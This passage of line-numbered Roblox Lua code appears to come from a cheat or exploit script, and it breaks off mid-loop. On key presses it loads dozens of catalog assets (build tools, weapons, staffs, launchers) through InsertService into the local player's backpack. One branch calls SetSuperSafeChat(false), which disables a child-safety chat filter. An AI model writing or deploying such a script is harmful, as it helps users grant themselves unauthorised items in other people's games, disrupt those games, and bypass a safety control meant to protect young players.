  3979. cls.MouseButton1Click:connect(function()
  3980. ste=false
  3981. frs.Visible=false
  3982. set.Style="RobloxButton"
  3983. end)
  3984. ckb.MouseButton1Click:connect(function()
  3985. md1=1
  3986. ckb.Style="RobloxButtonDefault"
  3987. ckb.Selected=true
  3988. ckb.Text="Enabled"
  3989. ckb.TextColor3=Color3.new(0,1,0)
  3990. ryb.Style="RobloxButton"
  3991. ryb.Selected=false
  3992. ryb.Text="Disabled"
  3993. ryb.TextColor3=Color3.new(1,0,0)
  3994. end)
  3995. ryb.MouseButton1Click:connect(function()
  3996. md1=2
  3997. ryb.Style="RobloxButtonDefault"
  3998. ryb.Selected=true
  3999. ryb.Text="Enabled"
  4000. ryb.TextColor3=Color3.new(0,1,0)
  4001. ckb.Style="RobloxButton"
  4002. ckb.Selected=false
  4003. ckb.Text="Disabled"
  4004. ckb.TextColor3=Color3.new(1,0,0)
  4005. end)
  4006. rfb.MouseButton1Click:connect(function()
  4007. if(md3==1)then
  4008. md3=2
  4009. rfb.Style="RobloxButton"
  4010. rfb.Text="Disable Propertie"
  4011. rfb.TextColor3=Color3.new(1,0,0)
  4012. elseif(md3==2)then
  4013. md3=1
  4014. rfb.Style="RobloxButtonDefault"
  4015. rfb.Text="Enable Propertie"
  4016. rfb.TextColor3=Color3.new(0,1,0)
  4017. end
  4018. end)
  4019. end)
  4020.  
  4021. bin.Deselected:connect(function() print("iBTool_Deselected")
  4022. clr=false
  4023. if(box~=nil)then
  4024. box:remove()
  4025. end
  4026. if(lso~=nil)then
  4027. lso:remove()
  4028. end
  4029. if(gui~=nil)then
  4030. gui:remove()
  4031. end
  4032. end)]]
  4033. iBToolScript.Disabled=true
  4034. iBToolScript.Disabled=false
  4035. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
  4036. local load=ctool("LoadingBTools...")
  4037. end
  4038. local insrt1 = game:GetService("InsertService"):LoadAsset(58901534)--resize
  4039. for _, v in pairs(insrt1:GetChildren()) do
  4040. v.Name='iResizeTool'
  4041. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4042. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4043. end
  4044. end
  4045. local insrt1 = game:GetService("InsertService"):LoadAsset(16975388)--config1
  4046. for _, v in pairs(insrt1:GetChildren()) do
  4047. v.Name='iConfigTool1'
  4048. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4049. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4050. end
  4051. end
  4052. local insrt2 = game:GetService("InsertService"):LoadAsset(18474459)--paint
  4053. for _, v in pairs(insrt2:GetChildren()) do
  4054. v.Name='iPaintTool'
  4055. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4056. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4057. end
  4058. end
  4059. local insrt3 = game:GetService("InsertService"):LoadAsset(36334760)--dragger
  4060. for _, v in pairs(insrt3:GetChildren()) do
  4061. v.Name='iDraggerTool'
  4062. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4063. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4064. end
  4065. end
  4066. local insrt4 = game:GetService("InsertService"):LoadAsset(58901405)--material
  4067. for _, v in pairs(insrt4:GetChildren()) do
  4068. v.Name='iMaterialTool'
  4069. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4070. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4071. end
  4072. end
  4073. local insrt5 = game:GetService("InsertService"):LoadAsset(58901575)--surface
  4074. for _, v in pairs(insrt5:GetChildren()) do
  4075. v.Name='iSurfaceTool'
  4076. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4077. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4078. end
  4079. end
  4080. local insrt6 = game:GetService("InsertService"):LoadAsset(58901335)--insert
  4081. for _, v in pairs(insrt6:GetChildren()) do
  4082. v.Name='iInsertTool'
  4083. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4084. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4085. end
  4086. end
  4087. local insrt7 = game:GetService("InsertService"):LoadAsset(55028088)--stamper
  4088. for _, v in pairs(insrt7:GetChildren()) do
  4089. v.Name='iStamperTool'
  4090. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4091. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4092. end
  4093. end
  4094. local insrt8 = game:GetService("InsertService"):LoadAsset(73089239)--config2
  4095. for _, v in pairs(insrt8:GetChildren()) do
  4096. v.Name='iConfigTool2'
  4097. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4098. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4099. end
  4100. end
  4101. local insrt9 = game:GetService("InsertService"):LoadAsset(58880579)--rotate
  4102. for _, v in pairs(insrt9:GetChildren()) do
  4103. v.Name='iRotateTool'
  4104. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4105. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4106. end
  4107. end
  4108. local insrt10 = game:GetService("InsertService"):LoadAsset(60791062)--wiring
  4109. for _, v in pairs(insrt10:GetChildren()) do
  4110. v.Name='iWiringTool'
  4111. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4112. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4113. end
  4114. end
  4115. local insrt10 = game:GetService("InsertService"):LoadAsset(36738185)--delete
  4116. for _, v in pairs(insrt10:GetChildren()) do
  4117. v.Name='iDeleteTool'
  4118. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4119. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4120. end
  4121. end
  4122. wait()
  4123. if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
  4124. game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."):remove()
  4125. end
  4126. end))
  4127. elseif Key==GearKey then
  4128. Player:SetSuperSafeChat(false)
  4129. coroutine.resume(coroutine.create(function()
  4130. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
  4131. MergeTool=ctool("iMergeTool")
  4132. MergeScript=Instance.new("LocalScript",MergeTool)
  4133. end
  4134. MergeScript.Source=MergeScriptSource
  4135. MergeScript.Disabled=true
  4136. MergeScript.Disabled=false
  4137. if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
  4138. local load=ctool("LoadingGears...")
  4139. end
  4140. local insrt8 = game:GetService("InsertService"):LoadAsset(16688968)--coil
  4141. for _, v in pairs(insrt8:GetChildren()) do
  4142. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4143. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4144. end
  4145. end
  4146. local insrt9 = game:GetService("InsertService"):LoadAsset(52180871)--remotecontroltruck
  4147. for _, v in pairs(insrt9:GetChildren()) do
  4148. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4149. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4150. end
  4151. end
  4152. local insrt10 = game:GetService("InsertService"):LoadAsset(55917429)--bow
  4153. for _, v in pairs(insrt10:GetChildren()) do
  4154. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4155. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4156. end
  4157. end
  4158. local insrt11 = game:GetService("InsertService"):LoadAsset(31314931)--epicsauce
  4159. for _, v in pairs(insrt11:GetChildren()) do
  4160. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4161. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4162. end
  4163. end
  4164. local insrt12 = game:GetService("InsertService"):LoadAsset(65545955)--dancegrenade
  4165. for _, v in pairs(insrt12:GetChildren()) do
  4166. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4167. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4168. end
  4169. end
  4170. local insrt13 = game:GetService("InsertService"):LoadAsset(28277486)--bomb
  4171. for _, v in pairs(insrt13:GetChildren()) do
  4172. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4173. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4174. end
  4175. end
  4176. local insrt14 = game:GetService("InsertService"):LoadAsset(27902406)--skate
  4177. for _, v in pairs(insrt14:GetChildren()) do
  4178. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4179. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4180. end
  4181. end
  4182. local insrt15 = game:GetService("InsertService"):LoadAsset(42845853)--freezeray
  4183. for _, v in pairs(insrt15:GetChildren()) do
  4184. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4185. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4186. end
  4187. end
  4188. local insrt16 = game:GetService("InsertService"):LoadAsset(50937815)--atomgun
  4189. for _, v in pairs(insrt16:GetChildren()) do
  4190. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4191. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4192. end
  4193. end
  4194. local insrt17 = game:GetService("InsertService"):LoadAsset(34898883)--platformproducer
  4195. for _, v in pairs(insrt17:GetChildren()) do
  4196. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4197. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4198. end
  4199. end
  4200. local insrt18 = game:GetService("InsertService"):LoadAsset(35683911)--wallwalker
  4201. for _, v in pairs(insrt18:GetChildren()) do
  4202. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4203. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4204. end
  4205. end
  4206. local insrt19 = game:GetService("InsertService"):LoadAsset(68603151)--sentry
  4207. for _, v in pairs(insrt19:GetChildren()) do
  4208. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4209. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4210. end
  4211. end
  4212. local insrt20 = game:GetService("InsertService"):LoadAsset(26421972)--zombie
  4213. for _, v in pairs(insrt20:GetChildren()) do
  4214. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4215. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4216. end
  4217. end
  4218. local insrt21 = game:GetService("InsertService"):LoadAsset(34901961)--gravity
  4219. for _, v in pairs(insrt21:GetChildren()) do
  4220. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4221. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4222. end
  4223. end
  4224. local insrt22 = game:GetService("InsertService"):LoadAsset(10468797)--banhammer
  4225. for _, v in pairs(insrt22:GetChildren()) do
  4226. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4227. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4228. end
  4229. end
  4230. local insrt23 = game:GetService("InsertService"):LoadAsset(71422361)--coolsword1
  4231. for _, v in pairs(insrt23:GetChildren()) do
  4232. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4233. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4234. end
  4235. end
  4236. local insrt24 = game:GetService("InsertService"):LoadAsset(62350883)--coolsword2
  4237. for _, v in pairs(insrt24:GetChildren()) do
  4238. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4239. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4240. end
  4241. end
  4242. local insrt25 = game:GetService("InsertService"):LoadAsset(30847733)--vinestaff
  4243. for _, v in pairs(insrt25:GetChildren()) do
  4244. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4245. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4246. end
  4247. end
  4248. local insrt26 = game:GetService("InsertService"):LoadAsset(48596324)--leviatingstaff
  4249. for _, v in pairs(insrt26:GetChildren()) do
  4250. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4251. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4252. end
  4253. end
  4254. local insrt27 = game:GetService("InsertService"):LoadAsset(61459706)--polaritystaff
  4255. for _, v in pairs(insrt27:GetChildren()) do
  4256. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4257. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4258. end
  4259. end
  4260. local insrt28 = game:GetService("InsertService"):LoadAsset(66416616)--zeusstaff
  4261. for _, v in pairs(insrt28:GetChildren()) do
  4262. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4263. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4264. end
  4265. end
  4266. local insrt29 = game:GetService("InsertService"):LoadAsset(33866846)--gravhammer
  4267. for _, v in pairs(insrt29:GetChildren()) do
  4268. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4269. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4270. end
  4271. end
  4272. local insrt30 = game:GetService("InsertService"):LoadAsset(30847779)--magicninja
  4273. for _, v in pairs(insrt30:GetChildren()) do
  4274. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4275. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4276. end
  4277. end
  4278. local insrt31 = game:GetService("InsertService"):LoadAsset(60888284)--dualkamas
  4279. for _, v in pairs(insrt31:GetChildren()) do
  4280. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4281. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4282. end
  4283. end
  4284. local insrt32 = game:GetService("InsertService"):LoadAsset(42845609)--bbgun
  4285. for _, v in pairs(insrt32:GetChildren()) do
  4286. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4287. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4288. end
  4289. end
  4290. local insrt33 = game:GetService("InsertService"):LoadAsset(32356064)--rocketlauncher
  4291. for _, v in pairs(insrt33:GetChildren()) do
  4292. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4293. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4294. end
  4295. end
  4296. local insrt34 = game:GetService("InsertService"):LoadAsset(69209924)--r80launcher
  4297. for _, v in pairs(insrt34:GetChildren()) do
  4298. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4299. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4300. end
  4301. end
  4302. local insrt35 = game:GetService("InsertService"):LoadAsset(69947379)--revengeancespear
  4303. for _, v in pairs(insrt35:GetChildren()) do
  4304. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4305. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4306. end
  4307. end
  4308. local insrt36 = game:GetService("InsertService"):LoadAsset(51760061)--deathspeaker
  4309. for _, v in pairs(insrt36:GetChildren()) do
  4310. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4311. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4312. end
  4313. end
  4314. local insrt37 = game:GetService("InsertService"):LoadAsset(59175769)--flamethrower1
  4315. for _, v in pairs(insrt37:GetChildren()) do
  4316. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4317. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4318. end
  4319. end
  4320. local insrt38 = game:GetService("InsertService"):LoadAsset(69499452)--laservision
  4321. for _, v in pairs(insrt38:GetChildren()) do
  4322. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4323. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4324. end
  4325. end
  4326. local insrt39 = game:GetService("InsertService"):LoadAsset(65082246)--dreamselixir
  4327. for _, v in pairs(insrt39:GetChildren()) do
  4328. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4329. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4330. end
  4331. end
  4332. local insrt40 = game:GetService("InsertService"):LoadAsset(55917420)--hydrianelexir
  4333. for _, v in pairs(insrt40:GetChildren()) do
  4334. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4335. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4336. end
  4337. end
  4338. local insrt41 = game:GetService("InsertService"):LoadAsset(50938746)--fermionblade
  4339. for _, v in pairs(insrt41:GetChildren()) do
  4340. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4341. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4342. end
  4343. end
  4344. local insrt42 = game:GetService("InsertService"):LoadAsset(72644644)--quantumentangler
  4345. for _, v in pairs(insrt42:GetChildren()) do
  4346. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4347. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4348. end
  4349. end
  4350. local insrt43 = game:GetService("InsertService"):LoadAsset(72713855)--giantoform
  4351. for _, v in pairs(insrt43:GetChildren()) do
  4352. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4353. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4354. end
  4355. end
  4356. local insrt44 = game:GetService("InsertService"):LoadAsset(26774629)--expander
  4357. for _, v in pairs(insrt44:GetChildren()) do
  4358. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4359. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4360. end
  4361. end
  4362. local insrt45 = game:GetService("InsertService"):LoadAsset(66426498)--kami
  4363. for _, v in pairs(insrt45:GetChildren()) do
  4364. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4365. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4366. end
  4367. end
  4368. local insrt46 = game:GetService("InsertService"):LoadAsset(66896565)--missiletoe
  4369. for _, v in pairs(insrt46:GetChildren()) do
  4370. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4371. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4372. end
  4373. end
  4374. local insrt47 = game:GetService("InsertService"):LoadAsset(69499437)--azureperiastron
  4375. for _, v in pairs(insrt47:GetChildren()) do
  4376. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4377. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4378. end
  4379. end
  4380. local insrt48 = game:GetService("InsertService"):LoadAsset(71037028)--magiccarpet
  4381. for _, v in pairs(insrt48:GetChildren()) do
  4382. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4383. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4384. end
  4385. end
  4386. local insrt49 = game:GetService("InsertService"):LoadAsset(68354832)--blizzardwand
  4387. for _, v in pairs(insrt49:GetChildren()) do
  4388. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4389. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4390. end
  4391. end
  4392. local insrt50 = game:GetService("InsertService"):LoadAsset(66896601)--neverendingfroststaff
  4393. for _, v in pairs(insrt50:GetChildren()) do
  4394. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4395. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4396. end
  4397. end
  4398. local insrt51 = game:GetService("InsertService"):LoadAsset(72644629)--orb
  4399. for _, v in pairs(insrt51:GetChildren()) do
  4400. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4401. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4402. end
  4403. end
  4404. local insrt52 = game:GetService("InsertService"):LoadAsset(48596305)--confusoray
  4405. for _, v in pairs(insrt52:GetChildren()) do
  4406. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4407. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4408. end
  4409. end
  4410. local insrt53 = game:GetService("InsertService"):LoadAsset(45941451)--danceblaster
  4411. for _, v in pairs(insrt53:GetChildren()) do
  4412. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4413. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4414. end
  4415. end
  4416. local insrt54 = game:GetService("InsertService"):LoadAsset(30393548)--grapplehook
  4417. for _, v in pairs(insrt54:GetChildren()) do
  4418. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4419. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4420. end
  4421. end
  4422. local insrt55 = game:GetService("InsertService"):LoadAsset(59848474)--deathspeakerbook
  4423. for _, v in pairs(insrt55:GetChildren()) do
  4424. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4425. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4426. end
  4427. end
  4428. local insrt56 = game:GetService("InsertService"):LoadAsset(49491736)--dracovinbook
  4429. for _, v in pairs(insrt56:GetChildren()) do
  4430. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4431. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4432. end
  4433. end
  4434. local insrt57 = game:GetService("InsertService"):LoadAsset(56561607)--dracovinwand
  4435. for _, v in pairs(insrt57:GetChildren()) do
  4436. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4437. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4438. end
  4439. end
  4440. local insrt58 = game:GetService("InsertService"):LoadAsset(49491716)--mischiefwand
  4441. for _, v in pairs(insrt58:GetChildren()) do
  4442. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4443. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4444. end
  4445. end
  4446. local insrt59 = game:GetService("InsertService"):LoadAsset(16979083)--flashbang
  4447. for _, v in pairs(insrt59:GetChildren()) do
  4448. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4449. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4450. end
  4451. end
  4452. local insrt60 = game:GetService("InsertService"):LoadAsset(27860496)--novawand
  4453. for _, v in pairs(insrt60:GetChildren()) do
  4454. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4455. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4456. end
  4457. end
  4458. local insrt61 = game:GetService("InsertService"):LoadAsset(56561579)--forgottenbook
  4459. for _, v in pairs(insrt61:GetChildren()) do
  4460. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4461. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4462. end
  4463. end
  4464. local insrt62 = game:GetService("InsertService"):LoadAsset(69210407)--remoteplanecontrol
  4465. for _, v in pairs(insrt62:GetChildren()) do
  4466. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4467. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4468. end
  4469. end
  4470. local insrt63 = game:GetService("InsertService"):LoadAsset(66823689)--icicleslicer
  4471. for _, v in pairs(insrt63:GetChildren()) do
  4472. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4473. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4474. end
  4475. end
  4476. local insrt64 = game:GetService("InsertService"):LoadAsset(61459678)--nekotikozphaser
  4477. for _, v in pairs(insrt64:GetChildren()) do
  4478. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4479. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4480. end
  4481. end
  4482. local insrt65 = game:GetService("InsertService"):LoadAsset(64220933)--ghostfiresword
  4483. for _, v in pairs(insrt65:GetChildren()) do
  4484. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4485. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4486. end
  4487. end
  4488. local insrt66 = game:GetService("InsertService"):LoadAsset(64869947)--ninjabomb
  4489. for _, v in pairs(insrt66:GetChildren()) do
  4490. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4491. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4492. end
  4493. end
  4494. local insrt67 = game:GetService("InsertService"):LoadAsset(14516975)--superdisruptor
  4495. for _, v in pairs(insrt67:GetChildren()) do
  4496. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4497. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4498. end
  4499. end
  4500. local insrt68 = game:GetService("InsertService"):LoadAsset(18268645)--disintergrexgun
  4501. for _, v in pairs(insrt68:GetChildren()) do
  4502. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4503. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4504. end
  4505. end
  4506. local insrt69 = game:GetService("InsertService"):LoadAsset(18462637)--windstaff
  4507. for _, v in pairs(insrt69:GetChildren()) do
  4508. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4509. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4510. end
  4511. end
  4512. local insrt70 = game:GetService("InsertService"):LoadAsset(13838639)--atomicdisintegrator
  4513. for _, v in pairs(insrt70:GetChildren()) do
  4514. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4515. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4516. end
  4517. end
  4518. local insrt71 = game:GetService("InsertService"):LoadAsset(33867016)--handcannon
  4519. for _, v in pairs(insrt71:GetChildren()) do
  4520. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4521. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4522. end
  4523. end
  4524. local insrt72 = game:GetService("InsertService"):LoadAsset(33879504)--flamethrower2
  4525. for _, v in pairs(insrt72:GetChildren()) do
  4526. v.Name='FlameThrower2'
  4527. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4528. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4529. end
  4530. end
  4531. local insrt73 = game:GetService("InsertService"):LoadAsset(35366155)--hypnocannon
  4532. for _, v in pairs(insrt73:GetChildren()) do
  4533. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4534. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4535. end
  4536. end
  4537. local insrt74 = game:GetService("InsertService"):LoadAsset(28275809)--scythe
  4538. for _, v in pairs(insrt74:GetChildren()) do
  4539. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4540. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4541. end
  4542. end
  4543. local insrt75 = game:GetService("InsertService"):LoadAsset(31839203)--rcformula
  4544. for _, v in pairs(insrt75:GetChildren()) do
  4545. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4546. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4547. end
  4548. end
  4549. local insrt76 = game:GetService("InsertService"):LoadAsset(11373617)--woodlandsstaff
  4550. for _, v in pairs(insrt76:GetChildren()) do
  4551. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4552. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4553. end
  4554. end
  4555. local insrt77 = game:GetService("InsertService"):LoadAsset(22969230)--emraldscatterblaster
  4556. for _, v in pairs(insrt77:GetChildren()) do
  4557. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4558. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4559. end
  4560. end
  4561. local insrt78 = game:GetService("InsertService"):LoadAsset(21420014)--scatterblaster
  4562. for _, v in pairs(insrt78:GetChildren()) do
  4563. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4564. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4565. end
  4566. end
  4567. local insrt79 = game:GetService("InsertService"):LoadAsset(36913601)--broom
  4568. for _, v in pairs(insrt79:GetChildren()) do
  4569. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4570. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4571. end
  4572. end
  4573. local insrt80 = game:GetService("InsertService"):LoadAsset(48847374)--positronicarmcannon
  4574. for _, v in pairs(insrt80:GetChildren()) do
  4575. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4576. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4577. end
  4578. end
  4579. local insrt81 = game:GetService("InsertService"):LoadAsset(71422327)--frosthammer
  4580. for _, v in pairs(insrt81:GetChildren()) do
  4581. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4582. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4583. end
  4584. end
  4585. local insrt82 = game:GetService("InsertService"):LoadAsset(69947367)--dualaxe
  4586. for _, v in pairs(insrt82:GetChildren()) do
  4587. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4588. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4589. end
  4590. end
  4591. local insrt83 = game:GetService("InsertService"):LoadAsset(33382711)--gloomystaff
  4592. for _, v in pairs(insrt83:GetChildren()) do
  4593. if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
  4594. v:Clone().Parent = game.Players.LocalPlayer.Backpack
  4595. end
  4596. end
  4597. local insrt84 = game:GetService("InsertService"):LoadAsset(11719016)--blowdryer
  4598. for _, v in pairs(insrt84:GetChildren()) do
